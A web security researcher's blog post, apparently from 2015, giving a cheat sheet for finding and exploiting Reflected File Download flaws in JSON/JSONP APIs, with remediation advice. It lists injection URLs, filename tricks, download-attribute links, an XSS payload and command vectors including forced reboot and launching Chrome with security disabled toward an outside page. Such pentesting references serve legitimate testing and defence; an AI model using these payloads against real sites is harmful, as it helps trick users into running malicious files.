David Sopas – Web Security Researcher

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06/10/15 Papers # , , , ,

Reflected File Download Cheat Sheet

Reflected File Download Cheat Sheet

This article is focused on providing infosec people how to test and exploit a Reflected File Download vulnerability – discovered by Oren Hafif of Trustwave. This vulnerability is not very well known but if well implemented could be very dangerous.
I’ve been writing security reports on RFD since January 2015 (most still undisclosed) and found lot’s of interesting things based on that experience that I would like to share.
I’m not explaining in this cheat sheet what RFD is or make a fancy presentation about it. For that you have Oren Hafif Blackhat presentation and Trustwave paper.

 

0x1 Where to look

Most of the RFD attacks are found on JSON and JSONP APIs [like auto-complete, user information, search box, order filters, etc.]. Most modern web applications this days use it.
You should start looking into your proxy [Burp, ZAP, etc] or Google Inspector for XHR requests. They’re are usually the prime suspect to find RFD attacks.
Don’t discard other requests like scripts. I already found a RFD attack on a JS file on Google which got me a entry on their Hall-of-Fame.
So keep your eyes open and think outside-the-box.

 

0x2 How to test it

Try to see if a callback parameter is present on the request:

https://www.example-site.pt/api/search?term=f00bar&callback=jQuery_1234

If callback is present try to change it to calc.

https://www.example-site.pt/api/search?term=f00bar&callback=calc

If calc is reflected on the screen it’s a good thing. If not maybe the victim has a whitelist of callbacks. But don’t give up yet. Try to find other parameter that could be reflected.
In my example you can see term parameter. Try to inject the following search term:

"||calc||

If the double-quote is slashed and pipe chars are not encoded you got the attack reflected.

https://www.example-site.pt/api/search?term="||calc||&callback=calc

Important: Even if the callback is not present in the request try to inject it. Most of the cases it’s there 🙂

If you can’t inject a callback try to inject the vector on another parameter that is reflected. Take in mind that it should be accessible to anyone not only by you. No Self-RFD in here 🙂

Ok so you have a reflected callback or reflected injected parameter. What we’ll try next is filename manipulation if URL mapping is permissive.

Some things you might try:

https://www.example-site.pt/api/search.bat?term=f00bar&callback=calc
https://www.example-site.pt/api/search;setup.bat?term=f00bar&callback=calc
https://www.example-site.pt/api/search/setup.bat?term=f00bar&callback=calc
https://www.example-site.pt/api/search;/setup.bat?term=f00bar&callback=calc
https://www.example-site.pt/api/search;/setup.bat;?term=f00bar&callback=calc

You can use other extensions also. Use your imagination. You can use .bat, .cmd, .js, .vbs and even other formats to attack *nix users – http://blog.davidvassallo.me/2014/11/02/practical-reflected-file-download-and-jsonp/

 

0x3 Can’t get download dialog

If the server don’t have Content-Disposition: attachment header to force the download you must use HTML5 download attribute to do this. On Internet Explorer 8 and 9, which interpret JSON as attachment, it will automatically try to download.

HTML5 download attribute is available in the following browsers:

  • Chrome
  • Firefox (you need to hack it a little to work)
  • Opera

Example 1:

<a href="https://www.example-site.pt/api/setup.bat?callback=chkdsk" download="setup.bat">Download</a>;

In Example 1 you can just click the link Chrome and Opera will download search.bat. On Firefox you must force the “Save link as” by adding on the:

<a href> onclick="return false;"

Example 2:

<a href="https://www.example-site.pt/api/setup.json?callback=chkdsk" download="setup.bat">Download</a>;

Just by clicking on the Download link Chrome and Opera will download setup.json. You must force the download with “Save link as” like Firefox. So:

<a href="https://www.example-site.pt/api/setup.json?callback=chkdsk" download="setup.bat" onclick="return false">Download</a>

Reminder: Keep noticing what is the returned HTTP code. It must be 200. 401 and 403 will not lead to RFD attacks.

 

0x4 Real Scenarios (all of them fixed)

Desk @ http://www.davidsopas.com/desk-com-reflected-filename-download/

Desk web app allowed a malicious user to have a direct URL to a malicious download.
Because they had Content-Disposition: attachment header this URL:
https://support.desk_com_client.com/customer/portal/articles/autocomplete.bat?&term=calimdshd&callback=||start%20chrome%davidsopas.com/poc/malware.htm||

Worked in every browser – downloading it without using any other manipulation. An example of a perfect RFD attack.

Acunetix @ https://www.davidsopas.com/acunetix-got-rfded/

Needed to use a special crafted webpage to download the file so this one it’s a nice example of the HTML5 download attribute.

Google @ http://www.websegura.net/advisories/reflected-filename-download-on-google/

This one is to show you guys that you don’t need a JSON file to get a RFD attack. Even a JS file which reflects your information will do the job.

 

0x5 RFD vectors

If you want to just give a proof-of-concept to a vendor you can just use a innocent calc from Windows or open a Chrome window with your site.
If you want to demonstrate with other vectors I give you a small list:

  • calc [runs Windows calculator]
  • chkdsk [runs Windows check disk utility]
  • start chrome davidsopas.com/poc/malware.htm [open a new chrome window with the defined URL]
  • start chrome davidsopas.com/poc/malware.htm –disable-web-security –disable-popup-blocking [open a new chrome
  • window with security options disabled with the defined URL]
  • shutdown -t 0 -r -f [force a Windows immediate reboot]

Don’t forget that you can use any command you wish depending on the operating system of the victim.

 

0x6 Bonus tricks

  • Sometimes you may enconter callbacks being filtered for spaces and special chars. If this is the case you can always use a RFD vector that fits this filtering (check 0x5 RFD vectors).
  • If the executable file is a .bat file don’t forget that there’s a limit on it’s content. If the JSON file you are using is too big, the batch file will not run your RFD attack. Try removing some of the parameters to reduce the lenght of the file.
  •  JSON/JSONP error messages sometimes could be your best friend. Some of them reflect the parameters you inject and return a HTTP 200 code.
  • If request header accepts text/html and tags are not filtered you can try inject a callback with HTML and make it a Reflected XSS:

https://www.example-site.pt/api/search.htm?term=f00bar&callback=calc<svg onload=prompt(1)>

  • If you can’t get a reflected vector on the request and you have a URL which is accessible to authenticated users you can use fields to inject the RFD vector.
    Example:

https://www.example-site.pt/1/members/dsopas

{"id":"1234567", "name":"David Sopas"}

You can inject your RFD vector:

"||calc||

on your name and use your link to attack.

{"id":"1234567", "name":"\";||calc||"}

This shows that sometimes you don’t even need the callback or parameter on the URL to use a RFD attack.

  • If your .bat don’t run, copy-paste it’s content to cmd.exe and check what it’s going on.
  • Sometimes when you call the XHR URL directly it shows you the file in XML. Add ?format=json and you might get lucky!

 

0x7 How to fix it

I think the best solution is to use the header Content-Disposition with a defined filename:

Content-Disposition: attachment; filename=1.txt

That way it’s impossible (so far) to modify the filename and most important filename extension.
Also if you use callbacks try to whitelist them. Finally encode (not escape) values reflected on the request.

 

0x8 Affected sites/companies

Should I be worried about RFD? YES!
Imagine a way of tricking victims into downloading a malicious filename using your domain? It’s very important to think that this is not a social-engineering attack but it only uses part of it (abusing human-factor) to gain trust of your client into downloading a file [that you didn’t upload]
If your client or visitor is not a security expert and is just a normal Internet user he will trust the link, download the file and execute it. People are doing this even without the trusted domain imagine with that option.

Oren Hafif said in his BlackHat presentation:

4 out of 5 would trust downloads based on the hosting domain.
RFD uses trust to do evil.

My advice is… Patch it before it too late.

 

0x9 Thanks

Oren Hafif -> for discovering this type of vulnerability
David Vassallo -> for showing a *nix version of the RFD attack
Ashar Javed -> for giving me the idea of publishing this cheat sheet about RFD and for calling me “RFD Machine” 🙂

 

0xA Other related Reflected File Download links

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